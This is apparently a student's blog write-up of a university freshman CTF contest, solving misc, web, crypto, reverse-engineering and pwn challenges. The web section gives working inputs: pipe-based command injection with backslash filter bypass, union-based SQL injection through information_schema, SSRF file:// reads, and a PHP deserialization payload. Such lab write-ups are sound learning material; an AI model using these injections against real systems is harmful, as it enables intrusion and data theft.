红岩杯 CTF 我的 WP

这是重邮 CTF 新生赛“红岩杯”我做出来的题的WP

千辛万苦打了一个星期,结果离三等奖还差91分呜呜呜呜

WP

Misc

easy_qrcode

下载附件得到 4 个图片,插入进 PPT 调整后得到完整二维码

209681feb82a8ce0f9dc54fed551f6a5.png

扫描可得flag为 0xFA{It's_really_easy}

a024b078f8ac45fe5bc71d6f66cdfd9e.png

easy_traffic

下载附件后使用 Wireshark 打开

c61a2f5e5771fb49c3e92ceecc163d22.png

发现 flag.txt 关键字

43443937601fc11b534c62398031f978.png

追踪 HTTP 流

a737384101d25417e262dee9dbed7517.png

得到 flag 为 0xFA{Try_to_cAtCh_oceaner}

829ac8518989e41ed59dba2a4267c9c4.png

easy_zip

打开文件,发现有解压密码。

5c4614683aa0f61a5cae71d46f2c62b8.png

尝试弱口令 123456

成功解压,得到flag0xFA{Passw0rd_is_123456}

91cc0d8878543f2eacb643844f313703.png

神秘的声音

下载附件,听到奇奇怪怪的声音,也不是摩斯密码。

  • 尝试用 Audacity 打开,啥也没有。
  • 看 16 进制文件,也没藏文件。
  • 想到 mmsstv 工具

先配置下录音默认为立体声混音。

6db95a928a9ec4e7b240227b9c9b948a.png

打开 mmsstv 之后播放附件得到图片,上面有 flag 为 redrock{MMSSTV}

11d983cc2991a45320bb005eab1ead14.png

哪里难了?

下载附件 docx ,打开发现明显是与佛论禅,解密后发现是 CTF 圣经(
读完了反思自己一下,不过什么帮助。
Word 选项里勾选显示隐藏的文字,得到PBVWU6DVNFYXWY3LGFUTA43LEB5DAICJLJGCAYZQPBZGU7I=

93430b1936f9abd23a4d3e69990b2b8e.png

结尾标志性等号,而且只有大写字母。译言丁真,鉴定为 base32编码 ,解码获得 xkjxuiq{ck1i0sk z0 IZL c0xrj}

984d265ec115ac9d78e7285a0e952f36.png

flag 格式有了,但是内容不对,猜测为凯撒密码,位移 6 位后得到 flag 是 redrock{we1c0me t0 ctf w0rld}

b0fcfa7ec9e45950f2e9da3d072a482f.png

高高兴兴去提交结果发现不对???????绞尽脑汁想了半天然后去问下出题人是不是我还没解完,出题人说:可能是哪里差一点。

然后我想啊想,发现题目上有 众所周知CTF哪里难了,还不是你不够努力! ,与佛论禅解密出来也是 CTF 圣经,就把 ctf 改成大写 CTF ,得 flag 为 redrock{we1c0me t0 CTF w0rld} 提交成功。

不过后来好像说题目有问题????我舍友去问出题人的时候,出题人说这题有点问题,然后告诉他们把 CTF 改成大写提交,呜呜呜呜呜呜当时我自己花那么大劲想出来结果问一下就得到了。

easy_unpack

这题说来惭愧,下载附件打开发现是循环压缩包,懒得写脚本解压,就直接使用连点器配合 7-zip 硬点到最后一层,得到 txt 文件,里面存着 flag 0xFA{0nly_oceaner_Can_dec0mPress}

可是当时不知道要写 WP ,文件就没保存,就不再复现一次截图了 QwQ ,点了好久呢,还要一直盯着,防止到最后一层点到其他的东西功亏一篑。

CheckIn

如题,关注重邮小帮手,发送 CQUPT_REDROCK_CTF@2023 即可获得 flag 。

yyz 想要回到过去

下载附件,直接运行 exe 闪一下就没了,打开终端,输入 .\checktime.exe 得到 sorry buddy, but your are in 2023-11-10 14:13:15

阅读理解,yyz的目标是回到2019年的那个夏天 。把系统时间改为 2019 的 6 月。

b8be20cc6a4968a79348294ad9c8a780.png

打开终端,输入 .\checktime.exe 得到 flag :

7d888b0353f8854aef74a503139ca83c.png

故事写的很感人,真的泪目了,最后还刀我一下😭

海燕的秘密

下载附件,打开压缩包发现有加密,试了弱口令不行,用 ARCHPR 爆破纯数字密码,成功获得密码 655351

0dc9e3df86b689c5faa1d4ff84a6052d.png

解压后发现又有一个加密压缩包和一个 txt 文件,打开 txt 文件发现明显是字典,用用 ARCHPR 字典攻击,得到密码 snaKa_al?-Se

55e7762f64d7f55e0942de3fbb9290e1.png

解压后发现又双叒叕有一个加密压缩包,还有一个 txt 文件,发现 txt 在加密压缩包内也存在,明显是明文攻击。将 txt 压缩为 zip 后,用 ARCHPR 明文攻击得秘钥 4ea7d0d2 becef2b6 197a8f88 ,利用秘钥保存文件。

解压压缩包发现有一个 png 文件, WinHex 查看发现文件末尾有 PK 字样,明显有压缩包隐写在图片内。

25c9092d42649022e33b3ff3c16c2483.png

把图片丢进 foremost 。查看输出文件,发现又有一个加密压缩包。至此,基本上所有压缩包能玩的花样都玩过了,还剩一个伪加密。再用 WinHex 打开该压缩包,发现的确是伪加密,把 6、7 位改成 00 00 ,保存文件。

29d027aa84f949e8802a2c9238936de8.png

发现可以直接解压了,得到 flag.png ,里面显示 flag 为 redrock{grEa1e_y0u_Kn0w_h0w_t0_uSe_21p} 。藏得确实深啊,我以为明文攻击之后就结束了,没想到我是小丑🤡。

easy_wordle

不走寻常路,用统计学和概率学方法解题。

下载 2 个附件,查看 py 源码可知道,会在 wordlist 里随机挑一个 5 个字母的单词让我们猜,共有 6 次机会。

输入一个 5 个字母的单词:

  • 如果字母和位置都正确,则该位输出为“绿”;
  • 如果字母在单词里出现,但位置不正确,则该位输出为“黄”;
  • 如果字母在单词里不存在,则该位输出为“灰”。

使用玄学解法,做一点准备工作:

  • 先对 wordlist 进行字频统计,统计出出现频率较的字母 e、a、r、o 等,作为我们的突破点。
  • 再将 wordlist 放在 Word 内,使用高级查找,勾选通配符。

开始解题!!!

用 nc 连接靶机(用若干次尝试之后成功的的一次举例)
第一次尝试 eeeee ,返回结果 灰灰灰灰灰 ,运气不太好。
第二次尝试 aaaaa ,返回结果 绿黄黄黄黄 ,可以确定第一位为 a
第三次尝试 rrrrr ,返回结果 黄绿绿黄黄 ,人品大爆发,确定前三位 arr 。使用Word高级搜索锁定 arrayarrow 两个单词。
第四次尝试 array 不正确。
第五次尝试 arrow 正确,获得 flag !!!

c71309c4c11e01245d19c3e06743f8de.png

问卷调查

做完问卷调查得到flag Redrock{Hacking_For_Fun :)}

web

ez_php

访问靶机,查看 php 源码,可知会用 get 的方式获取 a1、a2 两个参数,从 cookie 获取 b 参数,从 post 方式获取 file 参数。这题使用 HackBar 工具解题。

  • 首先看 level 1:
1
2
3
4
5
6
if ($a1 != $a2 && md5($a1) == md5($a2)) {
echo "Yes!";
$key1 = 1;
} else {
echo "No~";
}

如果 a1 、a2 的值不相等,但md5运算后的值相等(弱比较)则可进入 level 2

经过搜索得知:

因为处理hash字符串时,PHP会将每一个以 0E 开头的哈希值解释为0,那么只要传入的不同字符串经过哈希以后是以 0E 开头的,那么PHP会认为它们相同。

基本的原理是这样的,但更严谨的字符串格式是 0e 开头,同时后面都是数字,不能包含其他字符的字符串,md5 值才会相等(== 的结果为 True,但 === 的结果为 False)。

一些 md5 值是 0e 开头且后面均为数字的字符串:

1
2
3
4
5
6
7
8
9
10
11
12
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064

随便挑两个作为 a1 、a2 的值并用 get 方法传递给 a1 、a2 ,进入 level 2:

400f89e81c13cfe199c6bf749c1639c6.png

  • 再看 level 2:
1
2
3
4
5
6
if ($b !== 114514 && intval($b) === 114514) {
echo "YesYse!";
$key2 = 1;
} else {
echo "NoNo~";
}

要求 b 不为 114514 ,但 b 取整为 114514 。很简单,设置 cookie 中 b = 114514.1 即可进入 level 3:

2737e67c4d42c2185105851f4e1996dc.png

  • 最后看 level 3:
1
2
3
4
5
6
if (file_get_contents($c) == "I wanna the last key") {
echo "YesYesYes!";
$key3 = 1;
} else {
echo "NoNoNo~";
}

搜索得知:

file_get_contents() 是一个 PHP 内置函数,用于以字符串的形式获取指定文件的内容。使用该函数可以读取本地的文件、远程文件和 HTTP 请求的响应等内容。

也就是说只要路径 c 内的文件内容是 I wanna the last key 即可获取 flag 。

上传一个内容是 I wanna the last key 的txt到我的一个码云仓库,将 raw 的 URL 链接用 post 方法传递给 c ,获得 flag :

001ebc369a04da6517d9441a92c21455.png

诶我flag呢!

读题:

老板让 tiger 把 flag 藏在某个一个页面里面,结果她藏完了之后还没来得及保存就停电了,这咋搞啊!!!

经过搜索:

当vim异常退出时,都会生成一个用于备份缓冲区内容的swp临时文件,来记录了用户在非正常关闭vim编辑器之前未能及时保存的修改,用于文件恢复。
❖ 第一次产生的交换文件名为 .index.php.swp
❖ 再次意外退出后,将会产生名为 .index.php.swo 的交换文件
❖ 第三次产生的交换文件则为 .index.php.swn

在靶机地址后面加上 \.index.php.swp 访问,触发文件下载。将下载的文件用记事本打开,看到flag redrock{7hank_u_f1nd_1t_f0r_tiger}

41abe879e9e73056734a3440a99fba67.png

可曾听闻ping?

访问靶机,发现可以执行 ping 命令,想到命令注入。
使用管道符 | ,可以直接执行 | 后面的语句。

输入 |ls 扫描当前目录:
返回了 index.php index.php ,没有发现 flag 关键字。

e1f593ea1a9ffed0a193ba9ffd2ff40f.png

再尝试 |ls / 扫描根目录:
返回 bin boot dev etc fl4g home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv start.sh sys tmp usr var var 发现 fl4g 关键字。

f50892bf07088ac014b6b4be24a8c4ac.png

尝试 |cat /fl4g 读取flag文件:
返回 才不会让你这么轻易拿到flag!

9b08223f7fd61ef86f041b7a713ba7cf.png

分别尝试 |cat|f4lg 均返回 才不会让你这么轻易拿到flag! 猜测对二者都进行了过滤,尝试使用 \ 绕过过滤。输入 |ca\t /fl\4g 读flag文件:
成功获得flag。

98697ca80e6cac34e52ef1a6586bf409.png

oceaner的网站

简单题,访问靶机,按F12就可看到flag redrock{F12_is_c0nv3n1ent}

2ce7676a1090f2419d10ee10e6cf7c81.png

点击就送flag(web版)

访问靶机看到 游戏规则:在 5s 内成功点击红色圆球50次即可得到flag。 今天就是猎杀来了都做不到(

查看源代码,发现使用 count 变量存储点击次数,且点击开始游戏后会先将 count 归零。

b63c522c560fd38b73e578d2d28129af.png

解题策略:先点击开始游戏,随后在控制台输入 count=50 再象征性点几下红点,成功获取 flag redrock{js_1s_s0_e@syyyy}

210057538a49487f29787dcbaefc9a44.png

easy sql

如题,简单的 SQL 注入。可以用 SQLmap 直接写,但是我一开始不知道,是手动注入的,呜呜呜。

访问靶机,发现有查询框,随便查询一个 1 ,发现返回了数据,且地址栏多了个叫 id 的参数,猜测 id 是可进行注入的。使用 HackBar 进行 get 传参。

尝试发现 id 不是字符型,是整型。由于本题几乎没有过滤,可以采用手动联合注入。

先通过 order by 判断列数,测试直到 ?id=1 order by 2 运行都有显示,直到 ?id=1 order by 3 没有回显,并报错 查询失败: Unknown column '3' in 'order clause' ,可知一共有 2 列。

然后测试回显位,前面给一个无法查询的数据 ?id=0 这样返回的就是测试位,后面跟上 union select 1,2 测试回显位,返回为:

ID Username
1 2

证明该位为回显位。

接下来是一些正常的注入。使用 ?id=0 union select 1,group_concat(schema_name) from information_schema.schemata 返回表格:

ID Username
1 information_schema,test

然后可以选择数据库进行读取,这里选择 test 进行读取。开始查询表名,使用 ?id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='test' 查询到一个名为 flag 的表名:

ID Username
1 flag,users

继续使用 ?id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' 查询 flag 的列名,查询到有字段为 flag :

ID Username
1 flag

紧接着通过 ?id=0 union select 1,group_concat(flag) from flag 获得 flag 。

a817d2077b860afb868d38d2d02d74a7.png

你是man吗?

访问靶机,看到代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
$url = $_POST["url"];
if(strpos($url, "file://")==0) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
echo $output;
curl_close($ch);
}else{
echo "nonono,no flag!";
}
?>
<!--flag在根目录下的/flag文件中--->

根据提示,直接用 HackBar post url=file:///flag 得到 flag 。

9ae406195a97f3b554f02341b4ad3cdc.png

你是一个真正的man吗?

访问靶机,看到代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include "ezwaf.php";
highlight_file(__FILE__);
$url = $_POST["url"];
if(ezwaf($url)){
if (strpos($url, "file") === false) {
system("curl ".$url);
}else{
echo "dont use file!";
}
}else{
echo "hacker!";
}
?>
<!--flag在根目录下的/flag文件中--->
<!--使用了白名单,请用file协议读文件!---> hacker!

要求使用 file 命令读取 flag ,但又对 flie 进行了过滤。简单绕过即可。

根据提示,直接用 HackBar post url=fi\le:///flag 得到 flag 。

48d192a9c4d41535c0e36e5b27ae21fb.png

看看你的作业

访问靶机,看到代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(0);
include "path.php";

class Wode
{
public $name;

public function __wakeup()
{
echo "今天我要开发一个作业系统,我的名字是:<br>";
echo $this->name;
}
}

class Homework
{
public $yes;

public function __toString()
{
echo "<br>但是自己开发好累呀,推给小登做吧<br>";
echo "<br>他们不做怎么办<br>";
echo $GLOBALS['img'];
($this->yes)();
}
}

class System
{
public function __invoke()
{
echo "<br>历经千辛万苦,小登们终于做出来了<br>";
echo "<br>但是,我还想改改需求...<br>";
echo $GLOBALS['path'];
}
}

if (isset($_POST['un_me'])) {
unserialize($_POST['un_me']);
} else {
highlight_file(__FILE__);
}

经过搜索:

在 PHP 中将对象、数组、变量等转化为字符串,这样便于将数据保存到数据库或者文件中,这个过程称之为序列化。当需要使用这些数据时,就需要用反序列化就是将字符串还原回原来的样子,也就是序列化的逆过程。PHP 提供了 serialize 和 unserialize 函数来支持这 2 种操作,当 unserialize 函数的参数被用户控制时就会形成反序列化漏洞。

也就是说反序列化过程中,unserialize()接受的值(字符串)可控的话,我们可以通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值

我们的目标是触发到 __invoke 得到路径 ‘path’。

综上所述构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

class Wode
{
public $name;
}

class Homework
{
public $yes;
}

class System
{

}

$a = new Wode();
$a -> name = new Homework();
$a -> name -> yes = new System();

echo serialize($a);

运行得到序列化之后的结果:

1
O:4:"Wode":1:{s:4:"name";O:8:"Homework":1:{s:3:"yes";O:6:"System":0:{}}}

将这个结果用 HackBar post 传参给 un_me 就可以触发 __invoke 得到路径 ‘path’。

32084da2bb85f267c01ef2f9f0c8c093.png

运行后得到路径 /WH47/Y0u/Kn0W/7H3/P0p/main.php ,访问显示 nothing here!

622412180e4a3d8243c1f9a6210fd7e5.png

F12 查看源代码,得到提示 什么是?5Y573M

6671d5d3ab9d1d9921d200913c74c392.png

前面的 ? 明显是要我们用 get 方式传参,但不知道参数是什么类型的,故使用 HackBar 传空白参数测试一下,显示 Warning: shell_exec(): Cannot execute a blank command in /var/www/html/WH47/Y0u/Kn0W/7H3/P0p/main.php on line 6 ,可知该参数可以执行命令。

5a948942cd979526b9db13b5ef77b4f9.png

传入 ls 寻找 flag 文件:

0b1a9e6aa5789724794e3f4fbcd96a06.png

看到有两个文件 main.phpwh4tY0U3V3nKn0WM3.php ,我们的目标显然是后者。尝试传入 cat wh4tY0U3V3nKn0WM3.php 读取文件,显示 too long!

27712ee3f4dfea1e5c0d536e04d65fc7.png

经过测试,最大可以传入 4 个字符的参数,也就是说只能使用 nl 读取。那文件名那么长又如何解决呢?很容易想到通配符 * 用于匹配任意长度任意字符。故传入 nl * 。返回了 1 4) { 4 echo "too long!"; 5 } else { 6 echo shell_exec($_GET["5Y573M"]); 7 } 8 } else{ 9 echo "nothing here!"; 10 echo ""; 11 } 12 ?> 13 ,应该是 main.php 的内容。

5a948942cd979526b9db13b5ef77b4f9.png

我们查看源代码即可看到 flag 。

4e9d641466f7335af850933b83811d03.png

crypto

easy_base

打开附件得到:

QmFzZTY0IGlzIGEgZ3JvdXAgb2YgYmluYXJ5LXRvLXRleHQgZW5jb2Rpbmcgc2NoZW1lcyB0aGF0IHJlcHJlc2VudCBiaW5hcnkgZGF0YS4gQW5kIGZsYWcgaXMgMHhGQXt0SGlzX2lTX2JhNWU2NF9lbkNvZGluR30=

有大小写字母和末尾标志性等号。译言丁真,鉴定为 base64编码 ,解码结果:

Base64 is a group of binary-to-text encoding schemes that represent binary data. And flag is 0xFA{tHis_iS_ba5e64_enCodinG}

得到 flag 0xFA{tHis_iS_ba5e64_enCodinG}

00c52f4e1aaeb776ea1d557af47e449a.png

easy_caesar

打开附件得到 qrzbrxnqrzfdhvduflskhudqgiodjlvyhqlylglylfl ,由题可知是凯撒密码。位移 3 位得到 nowyouknowcaesarcipherandflagisvenividivici

00cbf04a12d552ead1ab755fc664ea92.png

可知 flag 内容为 venividivici ,用 0xFA{} 包上后提交。

easy_morse

打开附件,看到 ./.-/...../-.--/.----/--/-----/.-./....././.----/-.-./-----/-.././ 明显是莫尔斯电码。

用空格代替 / 后丢进在线工具解码得 ea5y1m0r5e1c0de ,包上 0xFA{} 后提交。

73b176d5d3a3e59844ef75047c966f77.png

easy_passwd

打开附件,得 f6fdffe48c908deb0f4c3bd36c032e72 ,看上去像哈希值,硬算肯定是不行了,丢进网站找一找:

49333ee35ca546bfe9c1d2c3a70473f0.png

成功获得翻转哈希值 adminadmin ,包上 0xFA{} 后提交。

easy_rsa

打开附件,是 RSA 加密:

1
2
3
n = 412185872968401257793868364974500949106246851673
e = 65537
cipher = 238402953668524899208063558207075404357269541120

开始上工具 轩禹CTF_RSA工具3.6.1

把数据丢进去,直接分解模数:

a34867583c45dc8c5ccdd7a258ba1112.png

然后计算私钥:

43fe6dc06590d158f8c54105b1528cd5.png

再计算明文:

0fd5b35af4365884fe6dd31a98b29e37.png

最后明文转字符:

c2da5b4d7c5e0586a6ab1fb88c4b0e44.png

获得 flag 0xFA{F4ct0r_Pr1me}

easy_wfa

打开附件,得到长文本,尝试使用字频分析

54866b89bb3bd7b4e56128e483250b27.png

得到:

the crystal valley and the flag is welcome to oxfa in a realm beyond our own where mountains whispered secrets to the rivers and trees hummed lullabies every dusk there was a valley shrouded in a radiant glow this was the crystal valley the reason for its name was clear to any wanderer who happened upon this magical place the ground was paved with gemstones trees had leaves of emerald and flowers shimmered with sapphire petals the river flowed with a serene silvery light illuminating the entire valley but the most magnificent sight was at the center of the valley a tree grander than any other with branches stretching out wide touching the skies this was the crystal tree its bark made of diamond and its fruit a crystal apple held the combined wisdom of the world legend told of its magic whoever tasted the apple would gain a deep understanding of the universe but at a price the tree would only bear one fruit every century and once picked the valley would be shrouded in darkness for the next hundred years one day a young girl named elara guided by the whispers of the wind found her way to the crystal valley mesmerized by the beauty she was tempted by the legend of the crystal tree as she approached it the tree spoke seeker of wisdom do you wish to claim the crystal apple” “i do” elara replied her voice trembling but i fear the darkness it would bring the tree responded the darkness is a consequence but not a punishment every light casts a shadow wisdom brings with it the burden of knowing gathering her courage elara chose not to take the apple instead she decided to sit beneath the tree letting its shimmering light dance around her days turned into nights and nights into days with each passing moment elara felt a connection to the world around her understanding it in ways she never imagined one morning as the first rays of dawn kissed the valley the crystal tree bore a new fruit it was no longer a crystal apple but a radiant heart shimmering with colors that had never been seen before your heart and your choice have transformed the gift whispered the tree with love and patience you have found wisdom the heart holds the beauty of understanding without casting a shadow elara with tears of joy held the heart close she realized that sometimes wisdom isn’t about taking but about giving not about knowing everything but understanding the value of everything and so the legend of the crystal valley evolved telling tales not of a crystal apple but of a radiant heart and a young girl who chose to understand the world with love the valley continued to glow brighter than ever welcoming wanderers with its gentle embrace and reminding them that sometimes the journey and the choices made along the way are more rewarding than the destination itself

在第一行就看到 flag 内容 welcome to oxfa ,把空格替换成下划线,并用0xFA{}包上后提交。

easy_pow

用 nc 连接靶机,靶机返回:

1
2
[+] sha256(XXXX+cU9dMtmLhdB2RgKv) == c2d86b5307bcedf5c0f3ef0bebd0eaf3a0668481a440ca64ca455602df808b65
[+]Plz tell me XXXX:

是要我们算出满足哈希值的前四位,一开始写了个易语言脚本,单线程跑起来超时,后面升级成多线程还是超时:

24c880b8d713ef4f6278912c865b92a6.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
.版本 2
.支持库 EThread

.程序集 窗口程序集_启动窗口
.程序集变量 线程句柄, 整数型, , "62"
.程序集变量 线程数量, 整数型

.子程序 __启动窗口_创建完毕



.子程序 子程序1
.参数 序号, 整数型
.局部变量 数组, 文本型, , "62"
.局部变量 a, 整数型
.局部变量 b, 整数型
.局部变量 c, 整数型
.局部变量 d, 整数型
.局部变量 前四位, 文本型
.局部变量 pw, 文本型
.局部变量 标记标签, 标签


数组 = { “a”, “b”, “c”, “d”, “e”, “f”, “g”, “h”, “i”, “j”, “k”, “l”, “m”, “n”, “o”, “p”, “q”, “r”, “s”, “t”, “u”, “v”, “w”, “x”, “y”, “z”, “A”, “B”, “C”, “D”, “E”, “F”, “G”, “H”, “I”, “J”, “K”, “L”, “M”, “N”, “O”, “P”, “Q”, “R”, “S”, “T”, “U”, “V”, “W”, “X”, “Y”, “Z”, “0”, “1”, “2”, “3”, “4”, “5”, “6”, “7”, “8”, “9” }

.计次循环首 (62, a)
.计次循环首 (62, b)
.计次循环首 (62, c)
.计次循环首 (62, d)

.如果 (序号 ≤ 31) ' 穷举前四位
前四位 = 到文本 (数组 [a + (序号 - 1) × 2]) + 到文本 (数组 [b]) + 到文本 (数组 [c]) + 到文本 (数组 [d])
.否则
前四位 = 到文本 (数组 [序号]) + 到文本 (数组 [b]) + 到文本 (数组 [c]) + 到文本 (数组 [d])
.如果结束


pw = 前四位 + 尾部

' 标记标签 = _启动窗口.取标记组件 (序号) ' 设置标签显示进度
' 标记标签.标题 = 前四位



.如果真 (校验_取sha256 (到字节集 (pw)) = 哈希)
编辑框1.内容 = 前四位
置剪辑板文本 (前四位)
信息框 (“匹配成功”, 0, , )
.如果真结束

.计次循环尾 ()
.计次循环尾 ()
.计次循环尾 ()
.计次循环尾 ()

' 前四位 = 到文本 (数组 [4]) + 到文本 (数组 [1]) + 到文本 (数组 [4]) + 到文本 (数组 [2])
' pw = 前四位 + “123”


' 如果真 (校验_取sha256 (到字节集 (pw)) = “7882f81ed0474a5a25eda29b87de77e62634998c403f8746239eb33086d0ea26”)
' 编辑框1.内容 = 前四位


.子程序 _按钮1_被单击
.局部变量 序号, 整数型

线程数量 = 到整数 (编辑框4.内容)
尾部 = 编辑框2.内容
哈希 = 编辑框3.内容
.计次循环首 (线程数量, 序号)
启动线程 (&子程序1, 序号, 线程句柄 [序号])
.计次循环尾 ()


.子程序 __启动窗口_将被销毁
.局部变量 i, 整数型

.计次循环首 (线程数量, i)
强制结束线程 (线程句柄 [i])
关闭线程句柄 (线程句柄 [i])
.计次循环尾 ()

后面改用 Python 单线程都能算出来不超时,我再也不偷懒用易语言了😭。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import hashlib
import itertools

# 定义一个函数,计算字符串的SHA256值,并返回十六进制字符串
def sha256(str):
return hashlib.sha256(str.encode()).hexdigest()

# 定义一个数组,包含所有可能的字符
chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

# 定义一个末尾文本,用于拼接
tail = "cU9dMtmLhdB2RgKv"

# 定义一个目标SHA256值,用于比对
target = "c2d86b5307bcedf5c0f3ef0bebd0eaf3a0668481a440ca64ca455602df808b65"

# 定义一个标志变量,用于判断是否找到匹配的前四位
found = False

# 定义一个计数变量,用于记录穷举的次数
count = 0

# 用itertools.product函数枚举所有可能的4位文本
for text in itertools.product(chars, repeat=4):
# 将元组转换为字符串
text = "".join(text)
# 计算当前文本和末尾文本的SHA256值
hash = sha256(text + tail)
# 比对当前文本和末尾文本的SHA256值和目标SHA256值
if hash == target:
# 如果匹配,打印当前文本,并设置标志变量为True
print("Found:", text)
found = True
break
# 增加计数变量
count += 1
# 每穷举1000次,打印一次进度
if count % 1000 == 0:
print("Tried:", count)

# 如果没有找到匹配的前四位,打印提示信息
if not found:
print("No match found.")

d74209dea723e77765386e0db9d837cb.png

leak_d

用 nc 连接靶机,得到:

1
2
3
4
5
6
Here is N
58784043329716425101104920485916134508608730289747018833570407989709034466775848701054647257359079456346201966576547653033761263229418566622771618055615982689289173483325919025724308434837288136047921582841415394591195617253684068077478644497452849554781529057195929093531857775656145378166642876833518271057
You can't decrypt this!
24903367589297538772459182499940144075768060261218948085911038195183957980888992488923174631012233502913064748086697378366162539506905880542418761270066479878024435193765659584225831601757715124471932034706793453118800099415326012082183555161151102828404085013842591395589253661725992041199513931807480391389
OMG d leaked!
31006100520646922851137447416835511813076378055998519111934660777702090474808238672781131977240164466591017434130614756093062840034095869676914861726147561803024335214576790837885715640650150440299509704447151481530950239462080240002988827121838240184499710476547542702973366910409540745089024825774321885057

继续上工具 轩禹CTF_RSA工具3.6.1

把数据全丢进去,直接计算明文:

c9d808f34949096efeac75509a8d7cc0.png

再明文转字符:

e54159a8da7b0ce56ccf8e5905ec1007.png

即得到 flag 。

re

Oceaner的怜悯

下载附件,看十六进制文件就可以看到 flag Redrock{re_15_ea5yToT}

135da86a3d3ac10c12ef66aae574b801.png

Oceaner的仁慈

打开附件闪一下就没了,在终端中打开 .\Oceaner.exe ,可以看到 flag 一闪而过 。录屏然后逐帧看得到 flag Redrock{DoYouReallyDoNotThinkREIsSimple???}

963cffed8ef11cb3ea91a4ce3ebb39de.png

点击就送flag

我的唯一一道一血题嘤嘤嘤。

运行附件,虽然是点击就送,但是鼠标移上去按钮就跑了,点不到,根本点不到,猎杀都点不到。

d5fc346db9b4abd33bffa7e8f086a18b.png

用 OllyDbg 打开附件:

63b42278a01d13f8e6396d76faf10d58.png

插件 –> 中文搜索引擎 –> 智能模式

a22886d551e69f4c580106ee93c55856.png

搜索完成后双击运行附件一开始看到的文本 点我就送 flag 噢 开始调试。

d59d7d023090596cdc5f52beca311e00.png

看到下面几行不远处有一个关键字 mov 是不是很像移动按钮命令的 move 。我们右键这个语句。

二进制 –> 用 NOP 填充

d4427211920b15baa0ac42e8b5c102fb.png

然后调试运行,再把鼠标移上去,发现按钮不再乱跑了,点一下,程序将 flag 文件写入当前目录下的 click_me_flag.txt 文件里了。

cc5040d31c3d45f6d00b5f032e004f25.png

打开该文件获得 flag redrock{y0u_c1icked_0n_me_haha}

还有一种思路是用易语言写脚本,获取按钮控件句柄,直接对其发消息实现按下按钮的效果,理论上可行,但是我没去试。

EasyRE

绝对的非预期,直接上工具 破空_flag查找工具3.5

查找目标填入几个 flag 头(不区分大小写) flag,redrock,0xFA ,勾选关键字编码,把附件丢进去,直接获得 flag Redrock{w31c0m3_70_r3dr0ck} ,果然很 easy 呢(bushi)。

3a405cb47dbe5668cd1d350ff66d3301.png

pwn

Oceaner黑客少年传奇-烈焰序章

用 nc 连接靶机,可以输入命令,先 ls 扫下当前目录,返回:

1
2
3
4
5
6
7
8
bin
dev
flag
lib
lib32
lib64
pwn
你想干嘛!?

发现 flag 关键字,但靶机断开连接了,重新连接下,用 cat flag 读文件得到 flag 。

261b45399c9845df8bd2c4de9b687cee.png

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2020-2025 Amano陽菜&丁同勖
  • 访问人数: | 浏览次数:

请我喝杯奶茶吧~

支付宝
微信